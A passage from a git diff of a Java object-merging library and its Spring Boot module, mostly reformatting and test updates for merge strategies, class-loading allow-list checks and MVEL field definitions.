guard.loadClassSafely(null)); - } - - @Test - void blocksBlankClassName() { - assertThrows(SecurityException.class, () -> guard.loadClassSafely(" ")); - } - - @Test - void blocksEmptyClassName() { - assertThrows(SecurityException.class, () -> guard.loadClassSafely("")); - } - } } diff --git a/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/service/ObjectMergerServiceIntegrationTest.java b/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/service/ObjectMergerServiceIntegrationTest.java index b8d8136..00e5d70 100644 --- a/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/service/ObjectMergerServiceIntegrationTest.java +++ b/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/service/ObjectMergerServiceIntegrationTest.java @@ -1,12 +1,19 @@ package de.x132.objectmerger.service; -import static org.junit.jupiter.api.Assertions.*; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; import de.x132.objectmerger.LabeledSource; import de.x132.objectmerger.MergeDefinition; import de.x132.objectmerger.model.Person; import de.x132.objectmerger.util.MergeDefinitionConverter; -import java.util.*; +import java.util.Arrays; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; @@ -16,95 +23,98 @@ @DisplayName("ObjectMergerService Integration Tests") class ObjectMergerServiceIntegrationTest { - @Autowired private ObjectMergerService mergerService; - - @Test - @DisplayName("Should merge Person objects successfully") - void testMergePerson() throws ClassNotFoundException { - // Create merge definition using converter - Map> defMap = new LinkedHashMap<>(); - defMap.put("name", Map.of("priority", Map.of("source1", 1))); - defMap.put("age", Map.of("strategy", "maximum")); - MergeDefinition definition = MergeDefinitionConverter.fromMap(defMap); - - // Create Person sources - Person person1 = new Person(); - person1.setName("John Doe"); - person1.setAge(25); - - Person person2 = new Person(); - person2.setName("Jane Doe"); - person2.setAge(30); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", person1), new LabeledSource<>("source2", person2)); - - // Merge - Object result = mergerService.merge("de.x132.objectmerger.model.Person", definition, sources); - - assertNotNull(result); - assertTrue(result instanceof Person); - Person merged = (Person) result; - assertEquals("John Doe", merged.getName()); - assertEquals(30, merged.getAge()); - } - - @Test - @DisplayName("Should throw SecurityException for unlisted class") - void testMergeWithUnlistedClass() { - Map> defMap = new LinkedHashMap<>(); - defMap.put("name", Map.of("priority", Map.of("source1", 1))); - MergeDefinition definition = MergeDefinitionConverter.fromMap(defMap); - - Person person = new Person(); - person.setName("Test"); - - List> sources = - Collections.singletonList(new LabeledSource<>("source1", person)); - - assertThrows( - SecurityException.class, - () -> mergerService.merge("com.invalid.NonExistentClass", definition, sources)); - } - - @Test - @DisplayName("Should handle empty sources list") - void testMergeWithEmptySources() throws ClassNotFoundException { - Map> defMap = new LinkedHashMap<>(); - defMap.put("name", Map.of("priority", Map.of("source1", 1))); - MergeDefinition definition = MergeDefinitionConverter.fromMap(defMap); - - List> emptySources = Collections.emptyList(); - - Object result = - mergerService.merge("de.x132.objectmerger.model.Person", definition, emptySources); - - assertNotNull(result); - assertTrue(result instanceof Person); - } - - @Test - @DisplayName("Should handle single source") - void testMergeWithSingleSource() throws ClassNotFoundException { - Map> defMap = new LinkedHashMap<>(); - defMap.put("name", Map.of("priority", Map.of("source1", 1))); - defMap.put("age", Map.of("strategy", "maximum")); - MergeDefinition definition = MergeDefinitionConverter.fromMap(defMap); - - Person person = new Person(); - person.setName("Single Person"); - person.setAge(42); - - List> sources = - Collections.singletonList(new LabeledSource<>("source1", person)); - - Object result = mergerService.merge("de.x132.objectmerger.model.Person", definition, sources); - - assertNotNull(result); - assertTrue(result instanceof Person); - Person merged = (Person) result; - assertEquals("Single Person", merged.getName()); - assertEquals(42, merged.getAge()); - } + @Autowired private ObjectMergerService mergerService; + + @Test + @DisplayName("Should merge Person objects successfully") + void testMergePerson() throws ClassNotFoundException { + // Create merge definition using converter + Map> defMap = new LinkedHashMap<>(); + defMap.put("name", Map.of("priority", Map.of("source1", 1))); + defMap.put("age", Map.of("strategy", "maximum")); + MergeDefinition definition = MergeDefinitionConverter.fromMap(defMap); + + // Create Person sources + Person person1 = new Person(); + person1.setName("John Doe"); + person1.setAge(25); + + Person person2 = new Person(); + person2.setName("Jane Doe"); + person2.setAge(30); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", person1), + new LabeledSource<>("source2", person2)); + + // Merge + Object result = + mergerService.merge("de.x132.objectmerger.model.Person", definition, sources); + + assertNotNull(result); + assertTrue(result instanceof Person); + Person merged = (Person) result; + assertEquals("John Doe", merged.getName()); + assertEquals(30, merged.getAge()); + } + + @Test + @DisplayName("Should throw SecurityException for unlisted class") + void testMergeWithUnlistedClass() { + Map> defMap = new LinkedHashMap<>(); + defMap.put("name", Map.of("priority", Map.of("source1", 1))); + MergeDefinition definition = MergeDefinitionConverter.fromMap(defMap); + + Person person = new Person(); + person.setName("Test"); + + List> sources = + Collections.singletonList(new LabeledSource<>("source1", person)); + + assertThrows( + SecurityException.class, + () -> mergerService.merge("com.invalid.NonExistentClass", definition, sources)); + } + + @Test + @DisplayName("Should handle empty sources list") + void testMergeWithEmptySources() throws ClassNotFoundException { + Map> defMap = new LinkedHashMap<>(); + defMap.put("name", Map.of("priority", Map.of("source1", 1))); + MergeDefinition definition = MergeDefinitionConverter.fromMap(defMap); + + List> emptySources = Collections.emptyList(); + + Object result = + mergerService.merge("de.x132.objectmerger.model.Person", definition, emptySources); + + assertNotNull(result); + assertTrue(result instanceof Person); + } + + @Test + @DisplayName("Should handle single source") + void testMergeWithSingleSource() throws ClassNotFoundException { + Map> defMap = new LinkedHashMap<>(); + defMap.put("name", Map.of("priority", Map.of("source1", 1))); + defMap.put("age", Map.of("strategy", "maximum")); + MergeDefinition definition = MergeDefinitionConverter.fromMap(defMap); + + Person person = new Person(); + person.setName("Single Person"); + person.setAge(42); + + List> sources = + Collections.singletonList(new LabeledSource<>("source1", person)); + + Object result = + mergerService.merge("de.x132.objectmerger.model.Person", definition, sources); + + assertNotNull(result); + assertTrue(result instanceof Person); + Person merged = (Person) result; + assertEquals("Single Person", merged.getName()); + assertEquals(42, merged.getAge()); + } } diff --git a/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/service/ObjectMergerServicePhonePriorityTest.java b/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/service/ObjectMergerServicePhonePriorityTest.java index 81d45eb..602e70b 100644 --- a/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/service/ObjectMergerServicePhonePriorityTest.java +++ b/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/service/ObjectMergerServicePhonePriorityTest.java @@ -1,116 +1,125 @@ package de.x132.objectmerger.service; -import static org.junit.jupiter.api.Assertions.*; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; import de.x132.objectmerger.LabeledSource; import de.x132.objectmerger.MergeDefinition; import de.x132.objectmerger.model.Person; import de.x132.objectmerger.security.ClassLoadingGuard; import de.x132.objectmerger.util.MergeDefinitionConverter; -import java.util.*; +import java.util.Arrays; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Test; @DisplayName("ObjectMergerService Phone Priority (CRM-only) Tests") class ObjectMergerServicePhonePriorityTest { - private final ObjectMergerService mergerService = createService(); - - private static ObjectMergerService createService() { - ClassLoadingGuard guard = new ClassLoadingGuard(); - guard.setAllowedPackages(java.util.List.of("de.x132.objectmerger.model.")); - return new ObjectMergerService(guard); - } - - private MergeDefinition crmOnlyPhoneDefinition() { - Map> defMap = new LinkedHashMap<>(); - Map phoneDef = new LinkedHashMap<>(); - phoneDef.put("strategy", "priority"); - phoneDef.put("priority", Map.of("crm", 1)); - phoneDef.put("defaultValue", null); - defMap.put("phone", phoneDef); - return MergeDefinitionConverter.fromMap(defMap); - } - - @Test - @DisplayName("phone uses CRM when present") - void phone_uses_crm_when_present() throws ClassNotFoundException { - // Given - Person analytics = new Person(); - analytics.setPhone("030-654321"); - - Person crm = new Person(); - crm.setPhone("030-123456"); - - Person database = new Person(); - database.setPhone(null); - - List> sources = - Arrays.asList( - new LabeledSource<>("analytics", analytics), - new LabeledSource<>("crm", crm), - new LabeledSource<>("database", database)); - - // When - Object result = - mergerService.merge("de.x132.objectmerger.model.Person", crmOnlyPhoneDefinition(), sources); - - // Then - assertNotNull(result); - Person merged = (Person) result; - assertEquals("030-123456", merged.getPhone()); - } - - @Test - @DisplayName("phone is null when CRM null even if others have value") - void phone_is_null_when_crm_null_even_if_others_have_value() throws ClassNotFoundException { - // Given - Person analytics = new Person(); - analytics.setPhone("030-654321"); - - Person crm = new Person(); - crm.setPhone(null); - - Person database = new Person(); - database.setPhone("030-000000"); - - List> sources = - Arrays.asList( - new LabeledSource<>("analytics", analytics), - new LabeledSource<>("crm", crm), - new LabeledSource<>("database", database)); - - // When - Object result = - mergerService.merge("de.x132.objectmerger.model.Person", crmOnlyPhoneDefinition(), sources); - - // Then - assertNotNull(result); - Person merged = (Person) result; - assertNull(merged.getPhone()); - } - - @Test - @DisplayName("phone is default when CRM source missing") - void phone_is_default_when_crm_source_missing() throws ClassNotFoundException { - // Given - Person analytics = new Person(); - analytics.setPhone("030-654321"); - - Person database = new Person(); - database.setPhone("030-000000"); - - List> sources = - Arrays.asList( - new LabeledSource<>("analytics", analytics), new LabeledSource<>("database", database)); - - // When - Object result = - mergerService.merge("de.x132.objectmerger.model.Person", crmOnlyPhoneDefinition(), sources); - - // Then - assertNotNull(result); - Person merged = (Person) result; - assertNull(merged.getPhone()); - } + private final ObjectMergerService mergerService = createService(); + + private static ObjectMergerService createService() { + ClassLoadingGuard guard = new ClassLoadingGuard(); + guard.setAllowedPackages(java.util.List.of("de.x132.objectmerger.model.")); + return new ObjectMergerService(guard); + } + + private MergeDefinition crmOnlyPhoneDefinition() { + Map> defMap = new LinkedHashMap<>(); + Map phoneDef = new LinkedHashMap<>(); + phoneDef.put("strategy", "priority"); + phoneDef.put("priority", Map.of("crm", 1)); + phoneDef.put("defaultValue", null); + defMap.put("phone", phoneDef); + return MergeDefinitionConverter.fromMap(defMap); + } + + @Test + @DisplayName("phone uses CRM when present") + void phone_uses_crm_when_present() throws ClassNotFoundException { + // Given + Person analytics = new Person(); + analytics.setPhone("030-654321"); + + Person crm = new Person(); + crm.setPhone("030-123456"); + + Person database = new Person(); + database.setPhone(null); + + List> sources = + Arrays.asList( + new LabeledSource<>("analytics", analytics), + new LabeledSource<>("crm", crm), + new LabeledSource<>("database", database)); + + // When + Object result = + mergerService.merge( + "de.x132.objectmerger.model.Person", crmOnlyPhoneDefinition(), sources); + + // Then + assertNotNull(result); + Person merged = (Person) result; + assertEquals("030-123456", merged.getPhone()); + } + + @Test + @DisplayName("phone is null when CRM null even if others have value") + void phone_is_null_when_crm_null_even_if_others_have_value() throws ClassNotFoundException { + // Given + Person analytics = new Person(); + analytics.setPhone("030-654321"); + + Person crm = new Person(); + crm.setPhone(null); + + Person database = new Person(); + database.setPhone("030-000000"); + + List> sources = + Arrays.asList( + new LabeledSource<>("analytics", analytics), + new LabeledSource<>("crm", crm), + new LabeledSource<>("database", database)); + + // When + Object result = + mergerService.merge( + "de.x132.objectmerger.model.Person", crmOnlyPhoneDefinition(), sources); + + // Then + assertNotNull(result); + Person merged = (Person) result; + assertNull(merged.getPhone()); + } + + @Test + @DisplayName("phone is default when CRM source missing") + void phone_is_default_when_crm_source_missing() throws ClassNotFoundException { + // Given + Person analytics = new Person(); + analytics.setPhone("030-654321"); + + Person database = new Person(); + database.setPhone("030-000000"); + + List> sources = + Arrays.asList( + new LabeledSource<>("analytics", analytics), + new LabeledSource<>("database", database)); + + // When + Object result = + mergerService.merge( + "de.x132.objectmerger.model.Person", crmOnlyPhoneDefinition(), sources); + + // Then + assertNotNull(result); + Person merged = (Person) result; + assertNull(merged.getPhone()); + } } diff --git a/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/util/MergeDefinitionConverterTest.java b/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/util/MergeDefinitionConverterTest.java index 317f782..46d13b6 100644 --- a/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/util/MergeDefinitionConverterTest.java +++ b/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/util/MergeDefinitionConverterTest.java @@ -4,7 +4,6 @@ import de.x132.objectmerger.MergeDefinition; import de.x132.objectmerger.strategy.FieldDefinition; -import de.x132.objectmerger.strategy.mvel.MvelFieldDefinition; import de.x132.objectmerger.strategy.priority.PriorityFieldDefinition; import java.util.HashMap; import java.util.LinkedHashMap; @@ -15,146 +14,160 @@ @DisplayName("MergeDefinitionConverter Tests") class MergeDefinitionConverterTest { - @Test - @DisplayName("Should convert simple priority definition") - void testConvertSimplePriorityDefinition() { - Map> input = new LinkedHashMap<>(); - input.put( - "name", Map.of("strategy", "priority", "priority", Map.of("source1", 1, "source2", 2))); - - MergeDefinition result = MergeDefinitionConverter.fromMap(input); - - assertNotNull(result); - assertNotNull(result.getDefinitions()); - assertTrue(result.getDefinitions().containsKey("name")); - - PriorityFieldDefinition nameField = - (PriorityFieldDefinition) result.getDefinitions().get("name"); - assertNotNull(nameField); - assertNotNull(nameField.getPriority()); - assertEquals(1, nameField.getPriority().get("source1")); - assertEquals(2, nameField.getPriority().get("source2")); - } - - @Test - @DisplayName("Should convert strategy definition") - void testConvertStrategyDefinition() { - Map> input = new LinkedHashMap<>(); - input.put("age", Map.of("strategy", "maximum", "defaultValue", 0)); - - MergeDefinition result = MergeDefinitionConverter.fromMap(input); - - assertNotNull(result); - assertNotNull(result.getDefinitions()); - assertTrue(result.getDefinitions().containsKey("age")); - - FieldDefinition ageField = (FieldDefinition) result.getDefinitions().get("age"); - assertNotNull(ageField); - assertEquals("maximum", ageField.getStrategy()); - assertNotNull(ageField.getDefaultValue()); - } - - @Test - @DisplayName("Should convert multiple field definitions") - void testConvertMultipleFields() { - Map> input = new LinkedHashMap<>(); - input.put( - "name", - Map.of( - "strategy", "priority", "priority", Map.of("database", 1, "crm", 2, "analytics", 3))); - input.put("age", Map.of("strategy", "maximum")); - input.put("email", Map.of("strategy", "priority", "priority", Map.of("database", 1))); - - MergeDefinition result = MergeDefinitionConverter.fromMap(input); - - assertNotNull(result); - assertNotNull(result.getDefinitions()); - assertEquals(3, result.getDefinitions().size()); - assertTrue(result.getDefinitions().containsKey("name")); - assertTrue(result.getDefinitions().containsKey("age")); - assertTrue(result.getDefinitions().containsKey("email")); - } - - @Test - @DisplayName("Should handle empty definition map") - void testConvertEmptyDefinition() { - Map> input = new LinkedHashMap<>(); - - MergeDefinition result = MergeDefinitionConverter.fromMap(input); - - assertNotNull(result); - assertNotNull(result.getDefinitions()); - assertTrue(result.getDefinitions().isEmpty()); - } - - @Test - @DisplayName("Should convert all merge strategies") - void testConvertAllStrategies() { - Map> input = new LinkedHashMap<>(); - input.put("field1", Map.of("strategy", "priority")); - input.put("field2", Map.of("strategy", "minimum")); - input.put("field3", Map.of("strategy", "maximum")); - input.put("field4", Map.of("strategy", "average")); - input.put("field5", Map.of("strategy", "sum")); - input.put("field6", Map.of("strategy", "concatenate")); - - MergeDefinition result = MergeDefinitionConverter.fromMap(input); - - assertNotNull(result); - assertEquals(6, result.getDefinitions().size()); - - FieldDefinition field1 = (FieldDefinition) result.getDefinitions().get("field1"); - assertEquals("priority", field1.getStrategy()); - - FieldDefinition field2 = (FieldDefinition) result.getDefinitions().get("field2"); - assertEquals("minimum", field2.getStrategy()); - - FieldDefinition field3 = (FieldDefinition) result.getDefinitions().get("field3"); - assertEquals("maximum", field3.getStrategy()); - - FieldDefinition field4 = (FieldDefinition) result.getDefinitions().get("field4"); - assertEquals("average", field4.getStrategy()); - - FieldDefinition field5 = (FieldDefinition) result.getDefinitions().get("field5"); - assertEquals("sum", field5.getStrategy()); - - FieldDefinition field6 = (FieldDefinition) result.getDefinitions().get("field6"); - assertEquals("concatenate", field6.getStrategy()); - } - - @Test - @DisplayName("Should convert definition with default value") - void testConvertWithDefaultValue() { - Map> input = new LinkedHashMap<>(); - input.put("count", Map.of("strategy", "sum", "defaultValue", 0)); - - MergeDefinition result = MergeDefinitionConverter.fromMap(input); - - assertNotNull(result); - FieldDefinition countField = (FieldDefinition) result.getDefinitions().get("count"); - assertNotNull(countField); - assertEquals("sum", countField.getStrategy()); - assertEquals(0.0, countField.getDefaultValue()); // Gson converts to Double - } - - @Test - @DisplayName("Should throw IllegalArgumentException for null input") - void testConvertNullInput() { - assertThrows(IllegalArgumentException.class, () -> MergeDefinitionConverter.fromMap(null)); - } - - @Test - @DisplayName("Should parse MvelFieldDefinition") - void parseMvelFieldDefinition() { - Map fieldMap = new HashMap<>(); - fieldMap.put("strategy", "mvel"); - fieldMap.put("expression", "sources['a'] + sources['b']"); - - Map> input = Map.of("testField", fieldMap); - MergeDefinition definition = MergeDefinitionConverter.fromMap(input); - - FieldDefinition fieldDef = definition.getDefinitions().get("testField"); - assertInstanceOf(MvelFieldDefinition.class, fieldDef); - assertEquals("sources['a'] + sources['b']", ((MvelFieldDefinition) fieldDef).getExpression()); - } + @Test + @DisplayName("Should convert simple priority definition") + void testConvertSimplePriorityDefinition() { + Map> input = new LinkedHashMap<>(); + input.put( + "name", + Map.of("strategy", "priority", "priority", Map.of("source1", 1, "source2", 2))); + + MergeDefinition result = MergeDefinitionConverter.fromMap(input); + + assertNotNull(result); + assertNotNull(result.getDefinitions()); + assertTrue(result.getDefinitions().containsKey("name")); + + PriorityFieldDefinition nameField = + (PriorityFieldDefinition) result.getDefinitions().get("name"); + assertNotNull(nameField); + assertNotNull(nameField.getPriority()); + assertEquals(1, nameField.getPriority().get("source1")); + assertEquals(2, nameField.getPriority().get("source2")); + } + + @Test + @DisplayName("Should convert strategy definition") + void testConvertStrategyDefinition() { + Map> input = new LinkedHashMap<>(); + input.put("age", Map.of("strategy", "maximum", "defaultValue", 0)); + + MergeDefinition result = MergeDefinitionConverter.fromMap(input); + + assertNotNull(result); + assertNotNull(result.getDefinitions()); + assertTrue(result.getDefinitions().containsKey("age")); + + FieldDefinition ageField = (FieldDefinition) result.getDefinitions().get("age"); + assertNotNull(ageField); + assertEquals("maximum", ageField.getStrategy()); + assertNotNull(ageField.getDefaultValue()); + } + + @Test + @DisplayName("Should convert multiple field definitions") + void testConvertMultipleFields() { + Map> input = new LinkedHashMap<>(); + input.put( + "name", + Map.of( + "strategy", + "priority", + "priority", + Map.of("database", 1, "crm", 2, "analytics", 3))); + input.put("age", Map.of("strategy", "maximum")); + input.put("email", Map.of("strategy", "priority", "priority", Map.of("database", 1))); + + MergeDefinition result = MergeDefinitionConverter.fromMap(input); + + assertNotNull(result); + assertNotNull(result.getDefinitions()); + assertEquals(3, result.getDefinitions().size()); + assertTrue(result.getDefinitions().containsKey("name")); + assertTrue(result.getDefinitions().containsKey("age")); + assertTrue(result.getDefinitions().containsKey("email")); + } + + @Test + @DisplayName("Should handle empty definition map") + void testConvertEmptyDefinition() { + Map> input = new LinkedHashMap<>(); + + MergeDefinition result = MergeDefinitionConverter.fromMap(input); + + assertNotNull(result); + assertNotNull(result.getDefinitions()); + assertTrue(result.getDefinitions().isEmpty()); + } + + @Test + @DisplayName("Should convert all merge strategies") + void testConvertAllStrategies() { + Map> input = new LinkedHashMap<>(); + input.put("field1", Map.of("strategy", "priority")); + input.put("field2", Map.of("strategy", "minimum")); + input.put("field3", Map.of("strategy", "maximum")); + input.put("field4", Map.of("strategy", "average")); + input.put("field5", Map.of("strategy", "sum")); + input.put("field6", Map.of("strategy", "concatenate")); + + MergeDefinition result = MergeDefinitionConverter.fromMap(input); + + assertNotNull(result); + assertEquals(6, result.getDefinitions().size()); + + FieldDefinition field1 = (FieldDefinition) result.getDefinitions().get("field1"); + assertEquals("priority", field1.getStrategy()); + + FieldDefinition field2 = (FieldDefinition) result.getDefinitions().get("field2"); + assertEquals("minimum", field2.getStrategy()); + + FieldDefinition field3 = (FieldDefinition) result.getDefinitions().get("field3"); + assertEquals("maximum", field3.getStrategy()); + + FieldDefinition field4 = (FieldDefinition) result.getDefinitions().get("field4"); + assertEquals("average", field4.getStrategy()); + + FieldDefinition field5 = (FieldDefinition) result.getDefinitions().get("field5"); + assertEquals("sum", field5.getStrategy()); + + FieldDefinition field6 = (FieldDefinition) result.getDefinitions().get("field6"); + assertEquals("concatenate", field6.getStrategy()); + } + + @Test + @DisplayName("Should convert definition with default value") + void testConvertWithDefaultValue() { + Map> input = new LinkedHashMap<>(); + input.put("count", Map.of("strategy", "sum", "defaultValue", 0)); + + MergeDefinition result = MergeDefinitionConverter.fromMap(input); + + assertNotNull(result); + FieldDefinition countField = (FieldDefinition) result.getDefinitions().get("count"); + assertNotNull(countField); + assertEquals("sum", countField.getStrategy()); + assertEquals(0.0, countField.getDefaultValue()); // Gson converts to Double + } + + @Test + @DisplayName("Should throw IllegalArgumentException for null input") + void testConvertNullInput() { + assertThrows(IllegalArgumentException.class, () -> MergeDefinitionConverter.fromMap(null)); + } + + @Test + @DisplayName("Should parse MvelFieldDefinition") + void parseMvelFieldDefinition() { + Map fieldMap = new HashMap<>(); + fieldMap.put("strategy", "mvel"); + fieldMap.put("expression", "sources['a'] + sources['b']"); + + Map> input = Map.of("testField", fieldMap); + MergeDefinition definition = MergeDefinitionConverter.fromMap(input); + + // Use reflection to avoid direct dependency on MVEL module classes in imports + FieldDefinition fieldDef = definition.getDefinitions().get("testField"); + try { + Class mvelClass = + Class.forName("de.x132.objectmerger.strategy.mvel.MvelFieldDefinition"); + assertInstanceOf(mvelClass, fieldDef); + + java.lang.reflect.Method getExpression = mvelClass.getMethod("getExpression"); + String expression = (String) getExpression.invoke(fieldDef); + assertEquals("sources['a'] + sources['b']", expression); + } catch (Exception e) { + fail("Failed to verify MvelFieldDefinition via reflection: " + e.getMessage()); + } + } } diff --git a/objectmerger-spring-boot/src/test/resources/META-INF/services/de.x132.objectmerger.strategy.MergeStrategy b/objectmerger-spring-boot/src/test/resources/META-INF/services/de.x132.objectmerger.strategy.MergeStrategy new file mode 100644 index 0000000..1a3b6dc --- /dev/null +++ b/objectmerger-spring-boot/src/test/resources/META-INF/services/de.x132.objectmerger.strategy.MergeStrategy @@ -0,0 +1,15 @@ +de.x132.objectmerger.strategy.priority.PriorityMergeStrategy +de.x132.objectmerger.strategy.standard.StandardMergeStrategy +de.x132.objectmerger.strategy.map.MapMergeStrategy +de.x132.objectmerger.strategy.list.ListMergeStrategy +de.x132.objectmerger.strategy.sum.SumValueStrategy + +de.x132.objectmerger.strategy.average.AverageValueStrategy +de.x132.objectmerger.strategy.concatenate.ConcatenateStrategy +de.x132.objectmerger.strategy.minimum.MinimumValueStrategy +de.x132.objectmerger.strategy.maximum.MaximumValueStrategy + + +de.x132.objectmerger.strategy.nested.NestedMergeStrategy +de.x132.objectmerger.strategy.mvel.MvelMergeStrategy +de.x132.objectmerger.strategy.conditional.ConditionalMergeStrategy diff --git a/objectmerger/pom.xml b/objectmerger/pom.xml index 52f210c..4194e84 100644 --- a/objectmerger/pom.xml +++ b/objectmerger/pom.xml @@ -15,6 +15,20 @@ Core library for merging/coalescing objects + + + org.slf4j + slf4j-api + + + + + org.projectlombok + lombok + provided + + + com.google.code.gson gson @@ -30,11 +44,6 @@ junit-jupiter-engine test - - org.projectlombok - lombok - provided - org.mockito mockito-core @@ -45,15 +54,6 @@ mockito-junit-jupiter test - - org.slf4j - slf4j-api - - - org.mvel - mvel2 - 2.5.0.Final - diff --git a/objectmerger/src/main/java/de/x132/objectmerger/ItemMergeDefinition.java b/objectmerger/src/main/java/de/x132/objectmerger/ItemMergeDefinition.java index 10022ba..6343b35 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/ItemMergeDefinition.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/ItemMergeDefinition.java @@ -10,6 +10,6 @@ @NoArgsConstructor @AllArgsConstructor public class ItemMergeDefinition { - private String targetClass; - private Map> definitions; + private String targetClass; + private Map> definitions; } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/LabeledSource.java b/objectmerger/src/main/java/de/x132/objectmerger/LabeledSource.java index fce49cd..9e2918f 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/LabeledSource.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/LabeledSource.java @@ -6,6 +6,6 @@ @Data @AllArgsConstructor public class LabeledSource { - private String label; - private T source; + private String label; + private T source; } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/MergeDefinition.java b/objectmerger/src/main/java/de/x132/objectmerger/MergeDefinition.java index fdd61fb..9c4f3aa 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/MergeDefinition.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/MergeDefinition.java @@ -10,10 +10,10 @@ @NoArgsConstructor @AllArgsConstructor public class MergeDefinition { - private Map> definitions; - private String templateSourceLabel; + private Map> definitions; + private String templateSourceLabel; - public MergeDefinition(Map> definitions) { - this.definitions = definitions; - } + public MergeDefinition(Map> definitions) { + this.definitions = definitions; + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/ObjectMerger.java b/objectmerger/src/main/java/de/x132/objectmerger/ObjectMerger.java index 10d3705..8b3a389 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/ObjectMerger.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/ObjectMerger.java @@ -28,44 +28,44 @@ @NoArgsConstructor(access = AccessLevel.PRIVATE) public class ObjectMerger { - /** - * Merges multiple sources into a target object based on the provided definition. Delegates to - * {@link PojoMerger}. - * - * @param targetClass The class of the result object. - * @param mergeDefinition The definition of how fields should be merged. - * @param sources The sources to merge. - * @param The type of the result object. - * @return A new instance of T with merged values. - */ - @SafeVarargs - public static T merge( - Class targetClass, MergeDefinition mergeDefinition, LabeledSource... sources) { - return PojoMerger.merge(targetClass, mergeDefinition, sources); - } + /** + * Merges multiple sources into a target object based on the provided definition. Delegates to + * {@link PojoMerger}. + * + * @param targetClass The class of the result object. + * @param mergeDefinition The definition of how fields should be merged. + * @param sources The sources to merge. + * @param The type of the result object. + * @return A new instance of T with merged values. + */ + @SafeVarargs + public static T merge( + Class targetClass, MergeDefinition mergeDefinition, LabeledSource... sources) { + return PojoMerger.merge(targetClass, mergeDefinition, sources); + } - /** - * Merges multiple sources into a target map based on the provided definition. Delegates to {@link - * MapMerger}. - * - * @param mergeDefinition The definition of how fields should be merged. - * @param sources The sources to merge (Maps). - * @return A new Map with merged values. - */ - @SafeVarargs - public static Map merge( - MergeDefinition mergeDefinition, LabeledSource>... sources) { - return MapMerger.merge(mergeDefinition, sources); - } + /** + * Merges multiple sources into a target map based on the provided definition. Delegates to + * {@link MapMerger}. + * + * @param mergeDefinition The definition of how fields should be merged. + * @param sources The sources to merge (Maps). + * @return A new Map with merged values. + */ + @SafeVarargs + public static Map merge( + MergeDefinition mergeDefinition, LabeledSource>... sources) { + return MapMerger.merge(mergeDefinition, sources); + } - /** Gets a field value safely from an object or Map. Delegates to {@link ReflectionHelper}. */ - public static Object getFieldValue(Object obj, String fieldName) { - return ReflectionHelper.getFieldValue(obj, fieldName); - } + /** Gets a field value safely from an object or Map. Delegates to {@link ReflectionHelper}. */ + public static Object getFieldValue(Object obj, String fieldName) { + return ReflectionHelper.getFieldValue(obj, fieldName); + } - public static MergeDefinition toMergeDefinition(ItemMergeDefinition itemMergeDefinition) { - MergeDefinition mergeDefinition = new MergeDefinition(); - mergeDefinition.setDefinitions(itemMergeDefinition.getDefinitions()); - return mergeDefinition; - } + public static MergeDefinition toMergeDefinition(ItemMergeDefinition itemMergeDefinition) { + MergeDefinition mergeDefinition = new MergeDefinition(); + mergeDefinition.setDefinitions(itemMergeDefinition.getDefinitions()); + return mergeDefinition; + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/engine/MapMerger.java b/objectmerger/src/main/java/de/x132/objectmerger/engine/MapMerger.java index 0753058..5c6673a 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/engine/MapMerger.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/engine/MapMerger.java @@ -19,51 +19,51 @@ @NoArgsConstructor(access = AccessLevel.PRIVATE) public class MapMerger { - @SafeVarargs - public static Map merge( - MergeDefinition mergeDefinition, LabeledSource>... sources) { - Map result = new HashMap<>(); - Map> definitions = mergeDefinition.getDefinitions(); - List>> sourceList = Arrays.asList(sources); + @SafeVarargs + public static Map merge( + MergeDefinition mergeDefinition, LabeledSource>... sources) { + Map result = new HashMap<>(); + Map> definitions = mergeDefinition.getDefinitions(); + List>> sourceList = Arrays.asList(sources); - for (Map.Entry> entry : definitions.entrySet()) { - String fieldName = entry.getKey(); - FieldDefinition fieldDef = entry.getValue(); + for (Map.Entry> entry : definitions.entrySet()) { + String fieldName = entry.getKey(); + FieldDefinition fieldDef = entry.getValue(); - MergeStrategy strategy = resolveStrategy(fieldDef); - if (strategy != null) { - // Cast to raw type to allow capture in helper - @SuppressWarnings("rawtypes") - MergeStrategy rawStrategy = strategy; - Object mergedValue = executeStrategy(rawStrategy, sourceList, fieldDef, fieldName); - result.put(fieldName, mergedValue); - } + MergeStrategy strategy = resolveStrategy(fieldDef); + if (strategy != null) { + // Cast to raw type to allow capture in helper + @SuppressWarnings("rawtypes") + MergeStrategy rawStrategy = strategy; + Object mergedValue = executeStrategy(rawStrategy, sourceList, fieldDef, fieldName); + result.put(fieldName, mergedValue); + } + } + return result; } - return result; - } - private static 